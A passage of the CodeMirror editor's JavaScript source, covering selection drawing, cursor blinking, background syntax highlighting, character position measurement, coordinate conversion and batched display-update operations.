} else {
rightPos = coords(to - 1, "right");
if (dir == "rtl") { var tmp = leftPos; leftPos = rightPos; rightPos = tmp; }
left = leftPos.left;
right = rightPos.right;
}
if (fromArg == null && from == 0) left = leftSide;
if (rightPos.top - leftPos.top > 3) { // Different lines, draw top part
add(left, leftPos.top, null, leftPos.bottom);
left = leftSide;
if (leftPos.bottom < rightPos.top) add(left, leftPos.bottom, null, rightPos.top);
}
if (toArg == null && to == lineLen) right = rightSide;
if (!start || leftPos.top < start.top || leftPos.top == start.top && leftPos.left < start.left)
start = leftPos;
if (!end || rightPos.bottom > end.bottom || rightPos.bottom == end.bottom && rightPos.right > end.right)
end = rightPos;
if (left < leftSide + 1) left = leftSide;
add(left, rightPos.top, right - left, rightPos.bottom);
});
return {start: start, end: end};
}
var sFrom = range.from(), sTo = range.to();
if (sFrom.line == sTo.line) {
drawForLine(sFrom.line, sFrom.ch, sTo.ch);
} else {
var fromLine = getLine(doc, sFrom.line), toLine = getLine(doc, sTo.line);
var singleVLine = visualLine(fromLine) == visualLine(toLine);
var leftEnd = drawForLine(sFrom.line, sFrom.ch, singleVLine ? fromLine.text.length + 1 : null).end;
var rightStart = drawForLine(sTo.line, singleVLine ? 0 : null, sTo.ch).start;
if (singleVLine) {
if (leftEnd.top < rightStart.top - 2) {
add(leftEnd.right, leftEnd.top, null, leftEnd.bottom);
add(leftSide, rightStart.top, rightStart.left, rightStart.bottom);
} else {
add(leftEnd.right, leftEnd.top, rightStart.left - leftEnd.right, leftEnd.bottom);
}
}
if (leftEnd.bottom < rightStart.top)
add(leftSide, leftEnd.bottom, null, rightStart.top);
}
output.appendChild(fragment);
}
// Cursor-blinking
function restartBlink(cm) {
if (!cm.state.focused) return;
var display = cm.display;
clearInterval(display.blinker);
var on = true;
display.cursorDiv.style.visibility = "";
if (cm.options.cursorBlinkRate > 0)
display.blinker = setInterval(function() {
display.cursorDiv.style.visibility = (on = !on) ? "" : "hidden";
}, cm.options.cursorBlinkRate);
else if (cm.options.cursorBlinkRate < 0)
display.cursorDiv.style.visibility = "hidden";
}
// HIGHLIGHT WORKER
function startWorker(cm, time) {
if (cm.doc.mode.startState && cm.doc.frontier < cm.display.viewTo)
cm.state.highlight.set(time, bind(highlightWorker, cm));
}
function highlightWorker(cm) {
var doc = cm.doc;
if (doc.frontier < doc.first) doc.frontier = doc.first;
if (doc.frontier >= cm.display.viewTo) return;
var end = +new Date + cm.options.workTime;
var state = copyState(doc.mode, getStateBefore(cm, doc.frontier));
var changedLines = [];
doc.iter(doc.frontier, Math.min(doc.first + doc.size, cm.display.viewTo + 500), function(line) {
if (doc.frontier >= cm.display.viewFrom) { // Visible
var oldStyles = line.styles;
var highlighted = highlightLine(cm, line, state, true);
line.styles = highlighted.styles;
var oldCls = line.styleClasses, newCls = highlighted.classes;
if (newCls) line.styleClasses = newCls;
else if (oldCls) line.styleClasses = null;
var ischange = !oldStyles || oldStyles.length != line.styles.length ||
oldCls != newCls && (!oldCls || !newCls || oldCls.bgClass != newCls.bgClass || oldCls.textClass != newCls.textClass);
for (var i = 0; !ischange && i < oldStyles.length; ++i) ischange = oldStyles[i] != line.styles[i];
if (ischange) changedLines.push(doc.frontier);
line.stateAfter = copyState(doc.mode, state);
} else {
processLine(cm, line.text, state);
line.stateAfter = doc.frontier % 5 == 0 ? copyState(doc.mode, state) : null;
}
++doc.frontier;
if (+new Date > end) {
startWorker(cm, cm.options.workDelay);
return true;
}
});
if (changedLines.length) runInOp(cm, function() {
for (var i = 0; i < changedLines.length; i++)
regLineChange(cm, changedLines[i], "text");
});
}
// Finds the line to start with when starting a parse. Tries to
// find a line with a stateAfter, so that it can start with a
// valid state. If that fails, it returns the line with the
// smallest indentation, which tends to need the least context to
// parse correctly.
function findStartLine(cm, n, precise) {
var minindent, minline, doc = cm.doc;
var lim = precise ? -1 : n - (cm.doc.mode.innerMode ? 1000 : 100);
for (var search = n; search > lim; --search) {
if (search <= doc.first) return doc.first;
var line = getLine(doc, search - 1);
if (line.stateAfter && (!precise || search <= doc.frontier)) return search;
var indented = countColumn(line.text, null, cm.options.tabSize);
if (minline == null || minindent > indented) {
minline = search - 1;
minindent = indented;
}
}
return minline;
}
function getStateBefore(cm, n, precise) {
var doc = cm.doc, display = cm.display;
if (!doc.mode.startState) return true;
var pos = findStartLine(cm, n, precise), state = pos > doc.first && getLine(doc, pos-1).stateAfter;
if (!state) state = startState(doc.mode);
else state = copyState(doc.mode, state);
doc.iter(pos, n, function(line) {
processLine(cm, line.text, state);
var save = pos == n - 1 || pos % 5 == 0 || pos >= display.viewFrom && pos < display.viewTo;
line.stateAfter = save ? copyState(doc.mode, state) : null;
++pos;
});
if (precise) doc.frontier = pos;
return state;
}
// POSITION MEASUREMENT
function paddingTop(display) {return display.lineSpace.offsetTop;}
function paddingVert(display) {return display.mover.offsetHeight - display.lineSpace.offsetHeight;}
function paddingH(display) {
if (display.cachedPaddingH) return display.cachedPaddingH;
var e = removeChildrenAndAdd(display.measure, elt("pre", "x"));
var style = window.getComputedStyle ? window.getComputedStyle(e) : e.currentStyle;
var data = {left: parseInt(style.paddingLeft), right: parseInt(style.paddingRight)};
if (!isNaN(data.left) && !isNaN(data.right)) display.cachedPaddingH = data;
return data;
}
// Ensure the lineView.wrapping.heights array is populated. This is
// an array of bottom offsets for the lines that make up a drawn
// line. When lineWrapping is on, there might be more than one
// height.
function ensureLineHeights(cm, lineView, rect) {
var wrapping = cm.options.lineWrapping;
var curWidth = wrapping && cm.display.scroller.clientWidth;
if (!lineView.measure.heights || wrapping && lineView.measure.width != curWidth) {
var heights = lineView.measure.heights = [];
if (wrapping) {
lineView.measure.width = curWidth;
var rects = lineView.text.firstChild.getClientRects();
for (var i = 0; i < rects.length - 1; i++) {
var cur = rects[i], next = rects[i + 1];
if (Math.abs(cur.bottom - next.bottom) > 2)
heights.push((cur.bottom + next.top) / 2 - rect.top);
}
}
heights.push(rect.bottom - rect.top);
}
}
// Find a line map (mapping character offsets to text nodes) and a
// measurement cache for the given line number. (A line view might
// contain multiple lines when collapsed ranges are present.)
function mapFromLineView(lineView, line, lineN) {
if (lineView.line == line)
return {map: lineView.measure.map, cache: lineView.measure.cache};
for (var i = 0; i < lineView.rest.length; i++)
if (lineView.rest[i] == line)
return {map: lineView.measure.maps[i], cache: lineView.measure.caches[i]};
for (var i = 0; i < lineView.rest.length; i++)
if (lineNo(lineView.rest[i]) > lineN)
return {map: lineView.measure.maps[i], cache: lineView.measure.caches[i], before: true};
}
// Render a line into the hidden node display.externalMeasured. Used
// when measurement is needed for a line that's not in the viewport.
function updateExternalMeasurement(cm, line) {
line = visualLine(line);
var lineN = lineNo(line);
var view = cm.display.externalMeasured = new LineView(cm.doc, line, lineN);
view.lineN = lineN;
var built = view.built = buildLineContent(cm, view);
view.text = built.pre;
removeChildrenAndAdd(cm.display.lineMeasure, built.pre);
return view;
}
// Get a {top, bottom, left, right} box (in line-local coordinates)
// for a given character.
function measureChar(cm, line, ch, bias) {
return measureCharPrepared(cm, prepareMeasureForLine(cm, line), ch, bias);
}
// Find a line view that corresponds to the given line number.
function findViewForLine(cm, lineN) {
if (lineN >= cm.display.viewFrom && lineN < cm.display.viewTo)
return cm.display.view[findViewIndex(cm, lineN)];
var ext = cm.display.externalMeasured;
if (ext && lineN >= ext.lineN && lineN < ext.lineN + ext.size)
return ext;
}
// Measurement can be split in two steps, the set-up work that
// applies to the whole line, and the measurement of the actual
// character. Functions like coordsChar, that need to do a lot of
// measurements in a row, can thus ensure that the set-up work is
// only done once.
function prepareMeasureForLine(cm, line) {
var lineN = lineNo(line);
var view = findViewForLine(cm, lineN);
if (view && !view.text)
view = null;
else if (view && view.changes)
updateLineForChanges(cm, view, lineN, getDimensions(cm));
if (!view)
view = updateExternalMeasurement(cm, line);
var info = mapFromLineView(view, line, lineN);
return {
line: line, view: view, rect: null,
map: info.map, cache: info.cache, before: info.before,
hasHeights: false
};
}
// Given a prepared measurement object, measures the position of an
// actual character (or fetches it from the cache).
function measureCharPrepared(cm, prepared, ch, bias, varHeight) {
if (prepared.before) ch = -1;
var key = ch + (bias || ""), found;
if (prepared.cache.hasOwnProperty(key)) {
found = prepared.cache[key];
} else {
if (!prepared.rect)
prepared.rect = prepared.view.text.getBoundingClientRect();
if (!prepared.hasHeights) {
ensureLineHeights(cm, prepared.view, prepared.rect);
prepared.hasHeights = true;
}
found = measureCharInner(cm, prepared, ch, bias);
if (!found.bogus) prepared.cache[key] = found;
}
return {left: found.left, right: found.right,
top: varHeight ? found.rtop : found.top,
bottom: varHeight ? found.rbottom : found.bottom};
}
var nullRect = {left: 0, right: 0, top: 0, bottom: 0};
function measureCharInner(cm, prepared, ch, bias) {
var map = prepared.map;
var node, start, end, collapse;
// First, search the line map for the text node corresponding to,
// or closest to, the target character.
for (var i = 0; i < map.length; i += 3) {
var mStart = map[i], mEnd = map[i + 1];
if (ch < mStart) {
start = 0; end = 1;
collapse = "left";
} else if (ch < mEnd) {
start = ch - mStart;
end = start + 1;
} else if (i == map.length - 3 || ch == mEnd && map[i + 3] > ch) {
end = mEnd - mStart;
start = end - 1;
if (ch >= mEnd) collapse = "right";
}
if (start != null) {
node = map[i + 2];
if (mStart == mEnd && bias == (node.insertLeft ? "left" : "right"))
collapse = bias;
if (bias == "left" && start == 0)
while (i && map[i - 2] == map[i - 3] && map[i - 1].insertLeft) {
node = map[(i -= 3) + 2];
collapse = "left";
}
if (bias == "right" && start == mEnd - mStart)
while (i < map.length - 3 && map[i + 3] == map[i + 4] && !map[i + 5].insertLeft) {
node = map[(i += 3) + 2];
collapse = "right";
}
break;
}
}
var rect;
if (node.nodeType == 3) { // If it is a text node, use a range to retrieve the coordinates.
for (var i = 0; i < 4; i++) { // Retry a maximum of 4 times when nonsense rectangles are returned
while (start && isExtendingChar(prepared.line.text.charAt(mStart + start))) --start;
while (mStart + end < mEnd && isExtendingChar(prepared.line.text.charAt(mStart + end))) ++end;
if (ie && ie_version < 9 && start == 0 && end == mEnd - mStart) {
rect = node.parentNode.getBoundingClientRect();
} else if (ie && cm.options.lineWrapping) {
var rects = range(node, start, end).getClientRects();
if (rects.length)
rect = rects[bias == "right" ? rects.length - 1 : 0];
else
rect = nullRect;
} else {
rect = range(node, start, end).getBoundingClientRect() || nullRect;
}
if (rect.left || rect.right || start == 0) break;
end = start;
start = start - 1;
collapse = "right";
}
if (ie && ie_version < 11) rect = maybeUpdateRectForZooming(cm.display.measure, rect);
} else { // If it is a widget, simply get the box for the whole widget.
if (start > 0) collapse = bias = "right";
var rects;
if (cm.options.lineWrapping && (rects = node.getClientRects()).length > 1)
rect = rects[bias == "right" ? rects.length - 1 : 0];
else
rect = node.getBoundingClientRect();
}
if (ie && ie_version < 9 && !start && (!rect || !rect.left && !rect.right)) {
var rSpan = node.parentNode.getClientRects()[0];
if (rSpan)
rect = {left: rSpan.left, right: rSpan.left + charWidth(cm.display), top: rSpan.top, bottom: rSpan.bottom};
else
rect = nullRect;
}
var rtop = rect.top - prepared.rect.top, rbot = rect.bottom - prepared.rect.top;
var mid = (rtop + rbot) / 2;
var heights = prepared.view.measure.heights;
for (var i = 0; i < heights.length - 1; i++)
if (mid < heights[i]) break;
var top = i ? heights[i - 1] : 0, bot = heights[i];
var result = {left: (collapse == "right" ? rect.right : rect.left) - prepared.rect.left,
right: (collapse == "left" ? rect.left : rect.right) - prepared.rect.left,
top: top, bottom: bot};
if (!rect.left && !rect.right) result.bogus = true;
if (!cm.options.singleCursorHeightPerLine) { result.rtop = rtop; result.rbottom = rbot; }
return result;
}
// Work around problem with bounding client rects on ranges being
// returned incorrectly when zoomed on IE10 and below.
function maybeUpdateRectForZooming(measure, rect) {
if (!window.screen || screen.logicalXDPI == null ||
screen.logicalXDPI == screen.deviceXDPI || !hasBadZoomedRects(measure))
return rect;
var scaleX = screen.logicalXDPI / screen.deviceXDPI;
var scaleY = screen.logicalYDPI / screen.deviceYDPI;
return {left: rect.left * scaleX, right: rect.right * scaleX,
top: rect.top * scaleY, bottom: rect.bottom * scaleY};
}
function clearLineMeasurementCacheFor(lineView) {
if (lineView.measure) {
lineView.measure.cache = {};
lineView.measure.heights = null;
if (lineView.rest) for (var i = 0; i < lineView.rest.length; i++)
lineView.measure.caches[i] = {};
}
}
function clearLineMeasurementCache(cm) {
cm.display.externalMeasure = null;
removeChildren(cm.display.lineMeasure);
for (var i = 0; i < cm.display.view.length; i++)
clearLineMeasurementCacheFor(cm.display.view[i]);
}
function clearCaches(cm) {
clearLineMeasurementCache(cm);
cm.display.cachedCharWidth = cm.display.cachedTextHeight = cm.display.cachedPaddingH = null;
if (!cm.options.lineWrapping) cm.display.maxLineChanged = true;
cm.display.lineNumChars = null;
}
function pageScrollX() { return window.pageXOffset || (document.documentElement || document.body).scrollLeft; }
function pageScrollY() { return window.pageYOffset || (document.documentElement || document.body).scrollTop; }
// Converts a {top, bottom, left, right} box from line-local
// coordinates into another coordinate system. Context may be one of
// "line", "div" (display.lineDiv), "local"/null (editor), or "page".
function intoCoordSystem(cm, lineObj, rect, context) {
if (lineObj.widgets) for (var i = 0; i < lineObj.widgets.length; ++i) if (lineObj.widgets[i].above) {
var size = widgetHeight(lineObj.widgets[i]);
rect.top += size; rect.bottom += size;
}
if (context == "line") return rect;
if (!context) context = "local";
var yOff = heightAtLine(lineObj);
if (context == "local") yOff += paddingTop(cm.display);
else yOff -= cm.display.viewOffset;
if (context == "page" || context == "window") {
var lOff = cm.display.lineSpace.getBoundingClientRect();
yOff += lOff.top + (context == "window" ? 0 : pageScrollY());
var xOff = lOff.left + (context == "window" ? 0 : pageScrollX());
rect.left += xOff; rect.right += xOff;
}
rect.top += yOff; rect.bottom += yOff;
return rect;
}
// Coverts a box from "div" coords to another coordinate system.
// Context may be "window", "page", "div", or "local"/null.
function fromCoordSystem(cm, coords, context) {
if (context == "div") return coords;
var left = coords.left, top = coords.top;
// First move into "page" coordinate system
if (context == "page") {
left -= pageScrollX();
top -= pageScrollY();
} else if (context == "local" || !context) {
var localBox = cm.display.sizer.getBoundingClientRect();
left += localBox.left;
top += localBox.top;
}
var lineSpaceBox = cm.display.lineSpace.getBoundingClientRect();
return {left: left - lineSpaceBox.left, top: top - lineSpaceBox.top};
}
function charCoords(cm, pos, context, lineObj, bias) {
if (!lineObj) lineObj = getLine(cm.doc, pos.line);
return intoCoordSystem(cm, lineObj, measureChar(cm, lineObj, pos.ch, bias), context);
}
// Returns a box for a given cursor position, which may have an
// 'other' property containing the position of the secondary cursor
// on a bidi boundary.
function cursorCoords(cm, pos, context, lineObj, preparedMeasure, varHeight) {
lineObj = lineObj || getLine(cm.doc, pos.line);
if (!preparedMeasure) preparedMeasure = prepareMeasureForLine(cm, lineObj);
function get(ch, right) {
var m = measureCharPrepared(cm, preparedMeasure, ch, right ? "right" : "left", varHeight);
if (right) m.left = m.right; else m.right = m.left;
return intoCoordSystem(cm, lineObj, m, context);
}
function getBidi(ch, partPos) {
var part = order[partPos], right = part.level % 2;
if (ch == bidiLeft(part) && partPos && part.level < order[partPos - 1].level) {
part = order[--partPos];
ch = bidiRight(part) - (part.level % 2 ? 0 : 1);
right = true;
} else if (ch == bidiRight(part) && partPos < order.length - 1 && part.level < order[partPos + 1].level) {
part = order[++partPos];
ch = bidiLeft(part) - part.level % 2;
right = false;
}
if (right && ch == part.to && ch > part.from) return get(ch - 1);
return get(ch, right);
}
var order = getOrder(lineObj), ch = pos.ch;
if (!order) return get(ch);
var partPos = getBidiPartAt(order, ch);
var val = getBidi(ch, partPos);
if (bidiOther != null) val.other = getBidi(ch, bidiOther);
return val;
}
// Used to cheaply estimate the coordinates for a position. Used for
// intermediate scroll updates.
function estimateCoords(cm, pos) {
var left = 0, pos = clipPos(cm.doc, pos);
if (!cm.options.lineWrapping) left = charWidth(cm.display) * pos.ch;
var lineObj = getLine(cm.doc, pos.line);
var top = heightAtLine(lineObj) + paddingTop(cm.display);
return {left: left, right: left, top: top, bottom: top + lineObj.height};
}
// Positions returned by coordsChar contain some extra information.
// xRel is the relative x position of the input coordinates compared
// to the found position (so xRel > 0 means the coordinates are to
// the right of the character position, for example). When outside
// is true, that means the coordinates lie outside the line's
// vertical range.
function PosWithInfo(line, ch, outside, xRel) {
var pos = Pos(line, ch);
pos.xRel = xRel;
if (outside) pos.outside = true;
return pos;
}
// Compute the character position closest to the given coordinates.
// Input must be lineSpace-local ("div" coordinate system).
function coordsChar(cm, x, y) {
var doc = cm.doc;
y += cm.display.viewOffset;
if (y < 0) return PosWithInfo(doc.first, 0, true, -1);
var lineN = lineAtHeight(doc, y), last = doc.first + doc.size - 1;
if (lineN > last)
return PosWithInfo(doc.first + doc.size - 1, getLine(doc, last).text.length, true, 1);
if (x < 0) x = 0;
var lineObj = getLine(doc, lineN);
for (;;) {
var found = coordsCharInner(cm, lineObj, lineN, x, y);
var merged = collapsedSpanAtEnd(lineObj);
var mergedPos = merged && merged.find(0, true);
if (merged && (found.ch > mergedPos.from.ch || found.ch == mergedPos.from.ch && found.xRel > 0))
lineN = lineNo(lineObj = mergedPos.to.line);
else
return found;
}
}
function coordsCharInner(cm, lineObj, lineNo, x, y) {
var innerOff = y - heightAtLine(lineObj);
var wrongLine = false, adjust = 2 * cm.display.wrapper.clientWidth;
var preparedMeasure = prepareMeasureForLine(cm, lineObj);
function getX(ch) {
var sp = cursorCoords(cm, Pos(lineNo, ch), "line", lineObj, preparedMeasure);
wrongLine = true;
if (innerOff > sp.bottom) return sp.left - adjust;
else if (innerOff < sp.top) return sp.left + adjust;
else wrongLine = false;
return sp.left;
}
var bidi = getOrder(lineObj), dist = lineObj.text.length;
var from = lineLeft(lineObj), to = lineRight(lineObj);
var fromX = getX(from), fromOutside = wrongLine, toX = getX(to), toOutside = wrongLine;
if (x > toX) return PosWithInfo(lineNo, to, toOutside, 1);
// Do a binary search between these bounds.
for (;;) {
if (bidi ? to == from || to == moveVisually(lineObj, from, 1) : to - from <= 1) {
var ch = x < fromX || x - fromX <= toX - x ? from : to;
var xDiff = x - (ch == from ? fromX : toX);
while (isExtendingChar(lineObj.text.charAt(ch))) ++ch;
var pos = PosWithInfo(lineNo, ch, ch == from ? fromOutside : toOutside,
xDiff < -1 ? -1 : xDiff > 1 ? 1 : 0);
return pos;
}
var step = Math.ceil(dist / 2), middle = from + step;
if (bidi) {
middle = from;
for (var i = 0; i < step; ++i) middle = moveVisually(lineObj, middle, 1);
}
var middleX = getX(middle);
if (middleX > x) {to = middle; toX = middleX; if (toOutside = wrongLine) toX += 1000; dist = step;}
else {from = middle; fromX = middleX; fromOutside = wrongLine; dist -= step;}
}
}
var measureText;
// Compute the default text height.
function textHeight(display) {
if (display.cachedTextHeight != null) return display.cachedTextHeight;
if (measureText == null) {
measureText = elt("pre");
// Measure a bunch of lines, for browsers that compute
// fractional heights.
for (var i = 0; i < 49; ++i) {
measureText.appendChild(document.createTextNode("x"));
measureText.appendChild(elt("br"));
}
measureText.appendChild(document.createTextNode("x"));
}
removeChildrenAndAdd(display.measure, measureText);
var height = measureText.offsetHeight / 50;
if (height > 3) display.cachedTextHeight = height;
removeChildren(display.measure);
return height || 1;
}
// Compute the default character width.
function charWidth(display) {
if (display.cachedCharWidth != null) return display.cachedCharWidth;
var anchor = elt("span", "xxxxxxxxxx");
var pre = elt("pre", [anchor]);
removeChildrenAndAdd(display.measure, pre);
var rect = anchor.getBoundingClientRect(), width = (rect.right - rect.left) / 10;
if (width > 2) display.cachedCharWidth = width;
return width || 10;
}
// OPERATIONS
// Operations are used to wrap a series of changes to the editor
// state in such a way that each change won't have to update the
// cursor and display (which would be awkward, slow, and
// error-prone). Instead, display updates are batched and then all
// combined and executed at once.
var operationGroup = null;
var nextOpId = 0;
// Start a new operation.
function startOperation(cm) {
cm.curOp = {
cm: cm,
viewChanged: false, // Flag that indicates that lines might need to be redrawn
startHeight: cm.doc.height, // Used to detect need to update scrollbar
forceUpdate: false, // Used to force a redraw
updateInput: null, // Whether to reset the input textarea
typing: false, // Whether this reset should be careful to leave existing text (for compositing)
changeObjs: null, // Accumulated changes, for firing change events
cursorActivityHandlers: null, // Set of handlers to fire cursorActivity on
cursorActivityCalled: 0, // Tracks which cursorActivity handlers have been called already
selectionChanged: false, // Whether the selection needs to be redrawn
updateMaxLine: false, // Set when the widest line needs to be determined anew
scrollLeft: null, scrollTop: null, // Intermediate scroll position, not pushed to DOM yet
scrollToPos: null, // Used to scroll to a specific position
id: ++nextOpId // Unique ID
};
if (operationGroup) {
operationGroup.ops.push(cm.curOp);
} else {
cm.curOp.ownsGroup = operationGroup = {
ops: [cm.curOp],
delayedCallbacks: []
};
}
}
function fireCallbacksForOps(group) {
// Calls delayed callbacks and cursorActivity handlers until no
// new ones appear
var callbacks = group.delayedCallbacks, i = 0;
do {
for (; i < callbacks.length; i++)
callbacks[i]();
for (var j = 0; j < group.ops.length; j++) {
var op = group.ops[j];
if (op.cursorActivityHandlers)
while (op.cursorActivityCalled < op.cursorActivityHandlers.length)
op.cursorActivityHandlers[op.cursorActivityCalled++](op.cm);
}
} while (i < callbacks.length);
}
// Finish an operation, updating the display and signalling delayed events
function endOperation(cm) {
var op = cm.curOp, group = op.ownsGroup;
if (!group) return;
try { fireCallbacksForOps(group); }
finally {
operationGroup = null;
for (var i = 0; i < group.ops.length; i++)
group.ops[i].cm.curOp = null;
endOperations(group);
}
}
// The DOM updates done when an operation finishes are batched so
// that the minimum number of relayouts are required.
function endOperations(group) {
var ops = group.ops;
for (var i = 0; i < ops.length; i++) // Read DOM
endOperation_R1(ops[i]);
for (var i = 0; i < ops.length; i++) // Write DOM (maybe)
endOperation_W1(ops[i]);
for (var i = 0; i < ops.length; i++) // Read DOM
endOperation_R2(ops[i]);
for (var i = 0; i < ops.length; i++) // Write DOM (maybe)
endOperation_W2(ops[i]);
for (var i = 0; i < ops.length; i++) // Read DOM
endOperation_finish(ops[i]);
}
function endOperation_R1(op) {
var cm = op.cm, display = cm.display;
if (op.updateMaxLine) findMaxLine(cm);
op.mustUpdate = op.viewChanged || op.forceUpdate || op.scrollTop != null ||
op.scrollToPos && (op.scrollToPos.from.line < display.viewFrom ||
op.scrollToPos.to.line >= display.viewTo) ||
display.maxLineChanged && cm.options.lineWrapping;
op.update = op.mustUpdate &&
new DisplayUpdate(cm, op.mustUpdate && {top: op.scrollTop, ensure: op.scrollToPos}, op.forceUpdate);
}
function endOperation_W1(op) {
op.updatedDisplay = op.mustUpdate && updateDisplayIfNeeded(op.cm, op.update);
}
function endOperation_R2(op) {
var cm = op.cm, display = cm.display;
if (op.updatedDisplay) updateHeightsInViewport(cm);
op.barMeasure = measureForScrollbars(cm);
// If the max line changed since it was last measured, measure it,
// and ensure the document's width matches it.
// updateDisplay_W2 will use these properties to do the actual resizing
if (display.maxLineChanged && !cm.options.lineWrapping) {
op.adjustWidthTo = measureChar(cm, display.maxLine, display.maxLine.text.length).left + 3;
op.maxScrollLeft = Math.max(0, display.sizer.offsetLeft + op.adjustWidthTo +
scrollerCutOff - display.scroller.clientWidth);
}
if (op.updatedDisplay || op.selectionChanged)
op.newSelectionNodes = drawSelection(cm);
}
function endOperation_W2(op) {
var cm = op.cm;
if (op.adjustWidthTo != null) {
cm.display.sizer.style.minWidth = op.adjustWidthTo + "px";
if (op.maxScrollLeft < cm.doc.scrollLeft)
setScrollLeft(cm, Math.min(cm.display.scroller.scrollLeft, op.maxScrollLeft), true);
cm.display.maxLineChanged = false;
}
if (op.newSelectionNodes)
showSelection(cm, op.newSelectionNodes);
if (op.updatedDisplay)
setDocumentHeight(cm, op.barMeasure);
if (op.updatedDisplay || op.startHeight != cm.doc.height)
updateScrollbars(cm, op.barMeasure);
if (op.selectionChanged) restartBlink(cm);
if (cm.state.focused && op.updateInput)
resetInput(cm, op.typing);
}
function endOperation_finish(op) {
var cm = op.cm, display = cm.display, doc = cm.doc;
if (op.adjustWidthTo != null && Math.abs(op.barMeasure.scrollWidth - cm.display.scroller.scrollWidth) > 1)
updateScrollbars(cm);
if (op.updatedDisplay) postUpdateDisplay(cm, op.update);
// Abort mouse wheel delta measurement, when scrolling explicitly
if (display.wheelStartX != null && (op.scrollTop != null || op.scrollLeft != null || op.scrollToPos))
display.wheelStartX = display.wheelStartY = null;
// Propagate the scroll position to the actual DOM scroller
if (op.scrollTop != null && (display.scroller.scrollTop != op.scrollTop || op.forceScroll)) {
var top = Math.max(0, Math.min(display.scroller.scrollHeight - display.scroller.clientHeight, op.scrollTop));
display.scroller.scrollTop = display.scrollbarV.scrollTop = doc.scrollTop = top;
}
if (op.scrollLeft != null && (display.scroller.scrollLeft != op.scrollLeft || op.forceScroll)) {
var left = Math.max(0, Math.min(display.scroller.scrollWidth - display.scroller.clientWidth, op.scrollLeft));
display.scroller.scrollLeft = display.scrollbarH.scrollLeft = doc.scrollLeft = left;
alignHorizontally(cm);
}
// If we need to scroll a specific position into view, do so.
if (op.scrollToPos) {
var coords = scrollPosIntoView(cm, clipPos(doc, op.scrollToPos.from),
clipPos(doc, op.scrollToPos.to), op.scrollToPos.margin);
if (op.scrollToPos.isCursor && cm.state.focused) maybeScrollWindow(cm, coords);
}
// Fire events for markers that are hidden/unidden by editing or
// undoing
var hidden = op.maybeHiddenMarkers, unhidden = op.maybeUnhiddenMarkers;
if (hidden) for (var i = 0; i < hidden.length; ++i)
if (!hidden[i].lines.length) signal(hidden[i], "hide");
if (unhidden) for (var i = 0; i < unhidden.length; ++i)
if (unhidden[i].lines.length) signal(unhidden[i], "unhide");
if (display.wrapper.offsetHeight)
doc.scrollTop = cm.display.scroller.scrollTop;
// Apply workaround for two webkit bugs
if (op.updatedDisplay && webkit) {
if (cm.options.lineWrapping)
checkForWebkitWidthBug(cm, op.barMeasure); // (Issue #2420)
if (op.barMeasure.scrollWidth > op.barMeasure.clientWidth &&
op.barMeasure.scrollWidth < op.barMeasure.clientWidth + 1 &&
!hScrollbarTakesSpace(cm))
updateScrollbars(cm); // (Issue #2562)
}
// Fire change events, and delayed event handlers
if (op.changeObjs)
signal(cm, "changes", cm, op.changeObjs);
}
// Run the given function in an operation
function runInOp(cm, f) {
if (cm.curOp) return f();
startOperation(cm);
try { return f(); }
finally { endOperation(cm); }
}
// Wraps a function in an operation. Returns the wrapped function.
function operation(cm, f) {
return function() {
if (cm.curOp) return f.apply(cm, arguments);
startOperation(cm);
try { return f.apply(cm, arguments); }
finally { endOperation(cm); }
};
}
// Used to add methods to editor and doc instances, wrapping them in
// operations.
function methodOp(f) {
return function() {
if (this.curOp) return f.apply(this, arguments);
startOperation(this);
try { return f.apply(this, arguments); }
finally { endOperation(this); }
};
}
function docMethodOp(f) {
return function() {
var cm = this.cm;
if (!cm || cm.curOp) return f.apply(this, arguments);
startOperation(cm);
try { return f.apply(this, arguments); }
finally { endOperation(cm); }
};
}
// VIEW TRACKING
// These objects are used to represent the visible (currently drawn)
// part of the document. A LineView may correspond to multiple
// logical lines, if those are connected by collapsed ranges.
function LineView(doc, line, lineN) {
// The starting line
this.line = line;
// Continuing lines, if any
this.rest = visualLineContinued(line);
// Number of logical lines in this visual line
this.size = this.rest ? lineNo(lst(this.rest)) - lineN + 1 : 1;
this.node = this.text = null;
this.hidden = lineIsHidden(doc, line);
}
// Create a range of LineView objects for the given lines.
function buildViewArray(cm, from, to) {
var array = [], nextPos;
for (var pos = from; pos < to; pos = nextPos) {
var view = new LineView(cm.doc, getLine(cm.doc, pos), pos);
nextPos = pos + view.size;
array.push(view);
}
return array;
}
// Updates the display.view data structure for a given change to the
// document. From and to are in pre-change coordinates. Lendiff is
// the amount of lines added or subtracted by the change. This is
// used for changes that span multiple lines, or change the way
// lines are divided into visual lines. regLineChange (below)
// registers single-line changes.
function regChange(cm, from, to, lendiff) {
if (from == null) from = cm.doc.first;
if (to == null) to = cm.doc.first + cm.doc.size;
if (!lendiff) lendiff = 0;
var display = cm.display;
if (lendiff && to < display.viewTo &&
(display.updateLineNumbers == null || display.updateLineNumbers > from))
display.updateLineNumbers = from;
cm.curOp.viewChanged = true;
if (from >= display.viewTo) { // Change after
if (sawCollapsedSpans && visualLineNo(cm.doc, from) < display.viewTo)
resetView(cm);
} else if (to <= display.viewFrom) { // Change before
if (sawCollapsedSpans && visualLineEndNo(cm.doc, to + lendiff) > display.viewFrom) {
resetView(cm);
} else {
display.viewFrom += lendiff;
display.viewTo += lendiff;
}
} else if (from <= display.viewFrom && to >= display.viewTo) { // Full overlap
resetView(cm);
} else if (from <= display.viewFrom) { // Top overlap
var cut = viewCuttingPoint(cm, to, to + lendiff, 1);
if (cut) {
display.view = display.view.slice(cut.index);
display.viewFrom = cut.lineN;
display.viewTo += lendiff;
} else {
resetView(cm);
}
} else if (to >= display.viewTo) { // Bottom overlap
var cut = viewCuttingPoint(cm, from, from, -1);
if (cut) {
display.view = display.view.slice(0, cut.index);
display.viewTo = cut.lineN;
} else {
resetView(cm);
}
} else { // Gap in the middle
var cutTop = viewCuttingPoint(cm, from, from, -1);
var cutBot = viewCuttingPoint(cm, to, to + lendiff, 1);
if (cutTop && cutBot) {
display.view = display.view.slice(0, cutTop.index)
.concat(buildViewArray(cm, cutTop.lineN, cutBot.lineN))
.concat(display.view.slice(cutBot.index));
display.viewTo += lendiff;
} else {
resetView(cm);
}
}
var ext = display.externalMeasured;
if (ext) {
if (to < ext.lineN)
ext.lineN += lendiff;
else if (from < ext.lineN + ext.size)
display.externalMeasured = null;
}
}
// Register a change to a single line. Type must be one of "text",
// "gutter", "class", "widget"
function regLineChange(cm, line, type) {
cm.curOp.viewChanged = true;
var display = cm.display, ext = cm.display.externalMeasured;
if (ext && line >= ext.lineN && line < ext.lineN + ext.size)
display.externalMeasured = null;
